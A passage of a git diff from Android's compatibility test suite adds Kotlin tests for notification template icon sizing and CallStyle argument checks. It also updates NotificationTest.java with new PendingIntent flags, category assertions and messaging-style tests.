+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.cts
+
+import android.R
+import android.app.Notification
+import android.app.PendingIntent
+import android.app.Person
+import android.app.cts.CtsAppTestUtils.platformNull
+import android.content.Intent
+import android.graphics.Bitmap
+import android.view.View
+import android.widget.ImageView
+import android.widget.TextView
+import androidx.test.filters.SmallTest
+import com.google.common.truth.Truth.assertThat
+import kotlin.test.assertFailsWith
+
+class NotificationTemplateTest : NotificationTemplateTestBase() {
+
+    fun testWideIcon_inCollapsedState_cappedTo16By9() {
+        val icon = Bitmap.createBitmap(200, 100, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .createContentView()
+        checkIconView(views) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 16 / 9).toFloat())
+        }
+    }
+
+    fun testWideIcon_inCollapsedState_canShowExact4By3() {
+        val icon = Bitmap.createBitmap(400, 300, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .createContentView()
+        checkIconView(views) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 4 / 3).toFloat())
+        }
+    }
+
+    fun testWideIcon_inCollapsedState_neverNarrowerThanSquare() {
+        val icon = Bitmap.createBitmap(200, 300, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .createContentView()
+        checkIconView(views) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width).isEqualTo(iconView.height)
+        }
+    }
+
+    fun testWideIcon_inBigBaseState_cappedTo16By9() {
+        val icon = Bitmap.createBitmap(200, 100, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .createBigContentView()
+        checkIconView(views) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 16 / 9).toFloat())
+        }
+    }
+
+    fun testWideIcon_inBigBaseState_canShowExact4By3() {
+        val icon = Bitmap.createBitmap(400, 300, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .createBigContentView()
+        checkIconView(views) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 4 / 3).toFloat())
+        }
+    }
+
+    fun testWideIcon_inBigBaseState_neverNarrowerThanSquare() {
+        val icon = Bitmap.createBitmap(200, 300, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .createBigContentView()
+        checkIconView(views) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width).isEqualTo(iconView.height)
+        }
+    }
+
+    fun testWideIcon_inBigPicture_cappedTo16By9() {
+        val picture = Bitmap.createBitmap(40, 30, Bitmap.Config.ARGB_8888)
+        val icon = Bitmap.createBitmap(200, 100, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .setStyle(Notification.BigPictureStyle().bigPicture(picture))
+                .createBigContentView()
+        checkIconView(views) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 16 / 9).toFloat())
+        }
+    }
+
+    fun testWideIcon_inBigPicture_canShowExact4By3() {
+        val picture = Bitmap.createBitmap(40, 30, Bitmap.Config.ARGB_8888)
+        val icon = Bitmap.createBitmap(400, 300, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .setStyle(Notification.BigPictureStyle().bigPicture(picture))
+                .createBigContentView()
+        checkIconView(views) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 4 / 3).toFloat())
+        }
+    }
+
+    fun testWideIcon_inBigPicture_neverNarrowerThanSquare() {
+        val picture = Bitmap.createBitmap(40, 30, Bitmap.Config.ARGB_8888)
+        val icon = Bitmap.createBitmap(200, 300, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .setStyle(Notification.BigPictureStyle().bigPicture(picture))
+                .createBigContentView()
+        checkIconView(views) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width).isEqualTo(iconView.height)
+        }
+    }
+
+    fun testWideIcon_inBigText_cappedTo16By9() {
+        val icon = Bitmap.createBitmap(200, 100, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .setStyle(Notification.BigTextStyle().bigText("Big\nText\nContent"))
+                .createBigContentView()
+        checkIconView(views) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 16 / 9).toFloat())
+        }
+    }
+
+    fun testWideIcon_inBigText_canShowExact4By3() {
+        val icon = Bitmap.createBitmap(400, 300, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .setStyle(Notification.BigTextStyle().bigText("Big\nText\nContent"))
+                .createBigContentView()
+        checkIconView(views) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 4 / 3).toFloat())
+        }
+    }
+
+    fun testWideIcon_inBigText_neverNarrowerThanSquare() {
+        val icon = Bitmap.createBitmap(200, 300, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .setStyle(Notification.BigTextStyle().bigText("Big\nText\nContent"))
+                .createBigContentView()
+        checkIconView(views) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width).isEqualTo(iconView.height)
+        }
+    }
+
+    fun testPromoteBigPicture_withoutLargeIcon() {
+        val picture = Bitmap.createBitmap(40, 30, Bitmap.Config.ARGB_8888)
+        val builder = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setStyle(Notification.BigPictureStyle()
+                        .bigPicture(picture)
+                        .showBigPictureWhenCollapsed(true)
+                )
+        checkIconView(builder.createContentView()) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 4 / 3).toFloat())
+            assertThat(iconView.drawable.intrinsicWidth).isEqualTo(40)
+            assertThat(iconView.drawable.intrinsicHeight).isEqualTo(30)
+        }
+        checkIconView(builder.createBigContentView()) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.GONE)
+        }
+    }
+
+    fun testPromoteBigPicture_withLargeIcon() {
+        val picture = Bitmap.createBitmap(40, 30, Bitmap.Config.ARGB_8888)
+        val icon = Bitmap.createBitmap(80, 65, Bitmap.Config.ARGB_8888)
+        val builder = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .setStyle(Notification.BigPictureStyle()
+                        .bigPicture(picture)
+                        .showBigPictureWhenCollapsed(true)
+                )
+        checkIconView(builder.createContentView()) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 4 / 3).toFloat())
+            assertThat(iconView.drawable.intrinsicWidth).isEqualTo(40)
+            assertThat(iconView.drawable.intrinsicHeight).isEqualTo(30)
+        }
+        checkIconView(builder.createBigContentView()) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 80 / 65).toFloat())
+            assertThat(iconView.drawable.intrinsicWidth).isEqualTo(80)
+            assertThat(iconView.drawable.intrinsicHeight).isEqualTo(65)
+        }
+    }
+
+    fun testPromoteBigPicture_withBigLargeIcon() {
+        val picture = Bitmap.createBitmap(40, 30, Bitmap.Config.ARGB_8888)
+        val bigIcon = Bitmap.createBitmap(80, 75, Bitmap.Config.ARGB_8888)
+        val builder = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setStyle(Notification.BigPictureStyle()
+                        .bigPicture(picture)
+                        .bigLargeIcon(bigIcon)
+                        .showBigPictureWhenCollapsed(true)
+                )
+        checkIconView(builder.createContentView()) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 4 / 3).toFloat())
+            assertThat(iconView.drawable.intrinsicWidth).isEqualTo(40)
+            assertThat(iconView.drawable.intrinsicHeight).isEqualTo(30)
+        }
+        checkIconView(builder.createBigContentView()) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 80 / 75).toFloat())
+            assertThat(iconView.drawable.intrinsicWidth).isEqualTo(80)
+            assertThat(iconView.drawable.intrinsicHeight).isEqualTo(75)
+        }
+    }
+
+    @SmallTest
+    fun testBaseTemplate_hasExpandedStateWithoutActions() {
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .createBigContentView()
+        assertThat(views).isNotNull()
+    }
+
+    fun testDecoratedCustomViewStyle_collapsedState() {
+        val customContent = makeCustomContent()
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setCustomContentView(customContent)
+                .setStyle(Notification.DecoratedCustomViewStyle())
+                .createContentView()
+        checkViews(views) { activity ->
+            // first check that the custom view is actually shown
+            val customTextView = requireViewByIdName<TextView>(activity, "text1")
+            assertThat(customTextView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(customTextView.text).isEqualTo("Example Text")
+
+            // check that the icon shows
+            val iconView = requireViewByIdName<ImageView>(activity, "icon")
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+        }
+    }
+
+    fun testDecoratedCustomViewStyle_expandedState() {
+        val customContent = makeCustomContent()
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setCustomBigContentView(customContent)
+                .setStyle(Notification.DecoratedCustomViewStyle())
+                .createBigContentView()
+        checkViews(views) { activity ->
+            // first check that the custom view is actually shown
+            val customTextView = requireViewByIdName<TextView>(activity, "text1")
+            assertThat(customTextView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(customTextView.text).isEqualTo("Example Text")
+
+            // check that the app name text shows
+            val appNameView = requireViewByIdName<TextView>(activity, "app_name_text")
+            assertThat(appNameView.visibility).isEqualTo(View.VISIBLE)
+
+            // check that the icon shows
+            val iconView = requireViewByIdName<ImageView>(activity, "icon")
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+        }
+    }
+
+    fun testCustomViewNotification_collapsedState_isDecorated() {
+        val customContent = makeCustomContent()
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setCustomContentView(customContent)
+                .createContentView()
+        checkViews(views) { activity ->
+            // first check that the custom view is actually shown
+            val customTextView = requireViewByIdName<TextView>(activity, "text1")
+            assertThat(customTextView.visibility).isEqualTo(View.VISIBLE)
+
+            assertThat(customTextView.text).isEqualTo("Example Text")
+
+            // check that the icon shows
+            val iconView = requireViewByIdName<ImageView>(activity, "icon")
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+        }
+    }
+
+    fun testCustomViewNotification_expandedState_isDecorated() {
+        val customContent = makeCustomContent()
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setCustomBigContentView(customContent)
+                .createBigContentView()
+        checkViews(views) { activity ->
+            // first check that the custom view is actually shown
+            val customTextView = requireViewByIdName<TextView>(activity, "text1")
+            assertThat(customTextView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(customTextView.text).isEqualTo("Example Text")
+
+            // check that the app name text shows
+            val appNameView = requireViewByIdName<TextView>(activity, "app_name_text")
+            assertThat(appNameView.visibility).isEqualTo(View.VISIBLE)
+
+            // check that the icon shows
+            val iconView = requireViewByIdName<ImageView>(activity, "icon")
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+        }
+    }
+
+    fun testCustomViewNotification_headsUpState_isDecorated() {
+        val customContent = makeCustomContent()
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setCustomHeadsUpContentView(customContent)
+                .createHeadsUpContentView()
+        checkViews(views) { activity ->
+            // first check that the custom view is actually shown
+            val customTextView = requireViewByIdName<TextView>(activity, "text1")
+            assertThat(customTextView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(customTextView.text).isEqualTo("Example Text")
+
+            // check that the icon shows
+            val iconView = requireViewByIdName<ImageView>(activity, "icon")
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+        }
+    }
+
+    @SmallTest
+    fun testCallStyle_forIncomingCall_validatesArguments() {
+        val namedPerson = Person.Builder().setName("Named Person").build()
+        val namelessPerson = Person.Builder().setName("").build()
+        assertFailsWith(IllegalArgumentException::class, "person must have a non-empty a name") {
+            Notification.CallStyle.forIncomingCall(platformNull(), pendingIntent, pendingIntent)
+        }
+        assertFailsWith(IllegalArgumentException::class, "person must have a non-empty a name") {
+            Notification.CallStyle.forIncomingCall(namelessPerson, pendingIntent, pendingIntent)
+        }
+        assertFailsWith(NullPointerException::class, "declineIntent is required") {
+            Notification.CallStyle.forIncomingCall(namedPerson, platformNull(), pendingIntent)
+        }
+        assertFailsWith(NullPointerException::class, "answerIntent is required") {
+            Notification.CallStyle.forIncomingCall(namedPerson, pendingIntent, platformNull())
+        }
+        Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setStyle(Notification.CallStyle
+                        .forIncomingCall(namedPerson, pendingIntent, pendingIntent))
+                .build()
+    }
+
+    @SmallTest
+    fun testCallStyle_forOngoingCall_validatesArguments() {
+        val namedPerson = Person.Builder().setName("Named Person").build()
+        val namelessPerson = Person.Builder().setName("").build()
+        assertFailsWith(IllegalArgumentException::class, "person must have a non-empty a name") {
+            Notification.CallStyle.forOngoingCall(platformNull(), pendingIntent)
+        }
+        assertFailsWith(IllegalArgumentException::class, "person must have a non-empty a name") {
+            Notification.CallStyle.forOngoingCall(namelessPerson, pendingIntent)
+        }
+        assertFailsWith(NullPointerException::class, "hangUpIntent is required") {
+            Notification.CallStyle.forOngoingCall(namedPerson, platformNull())
+        }
+        Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setStyle(Notification.CallStyle.forOngoingCall(namedPerson, pendingIntent))
+                .build()
+    }
+
+    @SmallTest
+    fun testCallStyle_forScreeningCall_validatesArguments() {
+        val namedPerson = Person.Builder().setName("Named Person").build()
+        val namelessPerson = Person.Builder().setName("").build()
+        assertFailsWith(IllegalArgumentException::class, "person must have a non-empty a name") {
+            Notification.CallStyle.forScreeningCall(platformNull(), pendingIntent, pendingIntent)
+        }
+        assertFailsWith(IllegalArgumentException::class, "person must have a non-empty a name") {
+            Notification.CallStyle.forScreeningCall(namelessPerson, pendingIntent, pendingIntent)
+        }
+        assertFailsWith(NullPointerException::class, "hangUpIntent is required") {
+            Notification.CallStyle.forScreeningCall(namedPerson, platformNull(), pendingIntent)
+        }
+        assertFailsWith(NullPointerException::class, "answerIntent is required") {
+            Notification.CallStyle.forScreeningCall(namedPerson, pendingIntent, platformNull())
+        }
+        Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setStyle(Notification.CallStyle
+                        .forScreeningCall(namedPerson, pendingIntent, pendingIntent))
+                .build()
+    }
+
+    private val pendingIntent by lazy {
+        PendingIntent.getBroadcast(mContext, 0, Intent("test"), PendingIntent.FLAG_IMMUTABLE)
+    }
+
+    companion object {
+        val TAG = NotificationTemplateTest::class.java.simpleName
+        const val NOTIFICATION_CHANNEL_ID = "NotificationTemplateTest"
+    }
+}
\ No newline at end of file
diff --git a/tests/app/src/android/app/cts/NotificationTest.java b/tests/app/src/android/app/cts/NotificationTest.java
index b9f8784..e718d10 100644
--- a/tests/app/src/android/app/cts/NotificationTest.java
+++ b/tests/app/src/android/app/cts/NotificationTest.java
@@ -127,6 +127,10 @@
         assertNotNull(Notification.CATEGORY_STATUS);
         assertNotNull(Notification.CATEGORY_SYSTEM);
         assertNotNull(Notification.CATEGORY_TRANSPORT);
+        assertNotNull(Notification.CATEGORY_WORKOUT);
+        assertNotNull(Notification.CATEGORY_LOCATION_SHARING);
+        assertNotNull(Notification.CATEGORY_STOPWATCH);
+        assertNotNull(Notification.CATEGORY_MISSED_CALL);
     }
 
     public void testWriteToParcel() {
@@ -143,11 +147,11 @@
         mNotification.icon = 0;
         mNotification.number = 1;
         final Intent intent = new Intent();
-        final PendingIntent pendingIntent = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+        final PendingIntent pendingIntent = PendingIntent.getBroadcast(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mNotification.contentIntent = pendingIntent;
         final Intent deleteIntent = new Intent();
         final PendingIntent delPendingIntent = PendingIntent.getBroadcast(
-                mContext, 0, deleteIntent, 0);
+                mContext, 0, deleteIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mNotification.deleteIntent = delPendingIntent;
         mNotification.tickerText = TICKER_TEXT;
 
@@ -247,7 +251,7 @@
 
     public void testBuilder() {
         final Intent intent = new Intent();
-        final PendingIntent contentIntent = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+        final PendingIntent contentIntent = PendingIntent.getBroadcast(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification.BubbleMetadata bubble = makeBubbleMetadata();
         mNotification = new Notification.Builder(mContext, CHANNEL.getId())
                 .setSmallIcon(1)
@@ -288,12 +292,15 @@
 
     public void testActionBuilder() {
         final Intent intent = new Intent();
-        final PendingIntent actionIntent = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+        final PendingIntent actionIntent = PendingIntent.getBroadcast(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mAction = null;
-        mAction = new Notification.Action.Builder(0, ACTION_TITLE, actionIntent).build();
+        mAction = new Notification.Action.Builder(0, ACTION_TITLE, actionIntent)
+                .setAuthenticationRequired(true)
+                .build();
         assertEquals(ACTION_TITLE, mAction.title);
         assertEquals(actionIntent, mAction.actionIntent);
         assertEquals(true, mAction.getAllowGeneratedReplies());
+        assertTrue(mAction.isAuthenticationRequired());
     }
 
     public void testNotification_addPerson() {
@@ -544,7 +551,7 @@
     }
 
     public void testAction_builder_contextualAction_nullIcon() {
-        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification.Action.Builder builder =
                 new Notification.Action.Builder(null /* icon */, "title", pendingIntent)
                 .setContextual(true);
@@ -621,8 +628,8 @@
     }
 
     public void testBubbleMetadataBuilder() {
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
-        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
+        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Icon icon = Icon.createWithResource(mContext, 1);
         Notification.BubbleMetadata.Builder metadataBuilder =
                 new Notification.BubbleMetadata.Builder(bubbleIntent, icon)
@@ -639,8 +646,8 @@
     }
 
     public void testBubbleMetadata_parcel() {
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
-        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
+        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Icon icon = Icon.createWithResource(mContext, 1);
         Notification.BubbleMetadata metadata =
                 new Notification.BubbleMetadata.Builder(bubbleIntent, icon)
@@ -660,7 +667,7 @@
     }
 
     public void testBubbleMetadataBuilder_shortcutId() {
-        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification.BubbleMetadata.Builder metadataBuilder =
                 new Notification.BubbleMetadata.Builder(BUBBLE_SHORTCUT_ID)
                         .setDesiredHeight(BUBBLE_HEIGHT)
@@ -675,7 +682,7 @@
     }
 
     public void testBubbleMetadataBuilder_parcelShortcutId() {
-        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         Notification.BubbleMetadata metadata =
                 new Notification.BubbleMetadata.Builder(BUBBLE_SHORTCUT_ID)
@@ -694,7 +701,7 @@
     }
 
     public void testBubbleMetadata_parcelResId() {
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Icon icon = Icon.createWithResource(mContext, 1);
         Notification.BubbleMetadata metadata =
                 new Notification.BubbleMetadata.Builder(bubbleIntent, icon)
@@ -730,7 +737,7 @@
     }
 
     public void testBubbleMetadataBuilder_shortcutBuilder_throwsForSetIntent() {
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         try {
             Notification.BubbleMetadata.Builder metadataBuilder =
                     new Notification.BubbleMetadata.Builder(BUBBLE_SHORTCUT_ID)
@@ -794,7 +801,7 @@
         new Canvas(b).drawColor(0xffff0000);
         Icon icon = Icon.createWithAdaptiveBitmap(b);
 
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification.BubbleMetadata.Builder metadataBuilder =
                 new Notification.BubbleMetadata.Builder(bubbleIntent, icon);
         Notification.BubbleMetadata metadata = metadataBuilder.build();
@@ -805,7 +812,7 @@
     public void testBubbleMetadataBuilder_noThrowForNonBitmapIcon() {
         Icon icon = Icon.createWithResource(mContext, R.drawable.ic_android);
 
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification.BubbleMetadata.Builder metadataBuilder =
                 new Notification.BubbleMetadata.Builder(bubbleIntent, icon);
         Notification.BubbleMetadata metadata = metadataBuilder.build();
@@ -814,8 +821,8 @@
     }
 
     public void testBubbleMetadataBuilder_replaceHeightRes() {
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
-        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
+        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Icon icon = Icon.createWithResource(mContext, 1);
         Notification.BubbleMetadata.Builder metadataBuilder =
                 new Notification.BubbleMetadata.Builder(bubbleIntent, icon)
@@ -831,8 +838,8 @@
     }
 
     public void testBubbleMetadataBuilder_replaceHeightDp() {
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
-        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
+        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Icon icon = Icon.createWithResource(mContext, 1);
         Notification.BubbleMetadata.Builder metadataBuilder =
                 new Notification.BubbleMetadata.Builder(bubbleIntent, icon)
@@ -854,6 +861,56 @@
         assertTrue((n.flags & FLAG_BUBBLE) != 0);
     }
 
+    public void testGetMessagesFromBundleArray() {
+        Person sender = new Person.Builder().setName("Sender").build();
+        Notification.MessagingStyle.Message firstExpectedMessage =
+                new Notification.MessagingStyle.Message("hello", /* timestamp= */ 123, sender);
+        Notification.MessagingStyle.Message secondExpectedMessage =
+                new Notification.MessagingStyle.Message("hello2", /* timestamp= */ 456, sender);
+
+        Notification.MessagingStyle messagingStyle =
+                new Notification.MessagingStyle("self name")
+                        .addMessage(firstExpectedMessage)
+                        .addMessage(secondExpectedMessage);
+        Notification notification = new Notification.Builder(mContext, "test id")
+                .setSmallIcon(1)
+                .setContentTitle("test title")
+                .setStyle(messagingStyle)
+                .build();
+
+        List<Notification.MessagingStyle.Message> actualMessages =
+                Notification.MessagingStyle.Message.getMessagesFromBundleArray(
+                        notification.extras.getParcelableArray(Notification.EXTRA_MESSAGES));
+
+        assertEquals(2, actualMessages.size());
+        assertMessageEquals(firstExpectedMessage, actualMessages.get(0));
+        assertMessageEquals(secondExpectedMessage, actualMessages.get(1));
+    }
+
+    public void testNotification_isBigPictureStyle_pictureContentDescriptionSet() {
+        final String contentDescription = "content description";
+
+        final Notification.BigPictureStyle bigPictureStyle = new Notification.BigPictureStyle()
+                .bigPictureContentDescription(contentDescription);
+
+        mNotification = new Notification.Builder(mContext, CHANNEL.getId())
+                .setStyle(bigPictureStyle)
+                .build();
+
+        final CharSequence notificationContentDescription =
+                mNotification.extras.getCharSequence(
+                        Notification.EXTRA_PICTURE_CONTENT_DESCRIPTION);
+        assertEquals(contentDescription, notificationContentDescription);
+    }
+
+    private static void assertMessageEquals(
+            Notification.MessagingStyle.Message expected,
+            Notification.MessagingStyle.Message actual) {
+        assertEquals(expected.getText(), actual.getText());
+        assertEquals(expected.getTimestamp(), actual.getTimestamp());
+        assertEquals(expected.getSenderPerson(), actual.getSenderPerson());
+    }
+
     private static RemoteInput newDataOnlyRemoteInput() {
         return new RemoteInput.Builder(DATA_RESULT_KEY)
             .setAllowFreeFormInput(false)
@@ -907,7 +964,7 @@
     }
 
     private Notification.BubbleMetadata makeBubbleMetadata() {
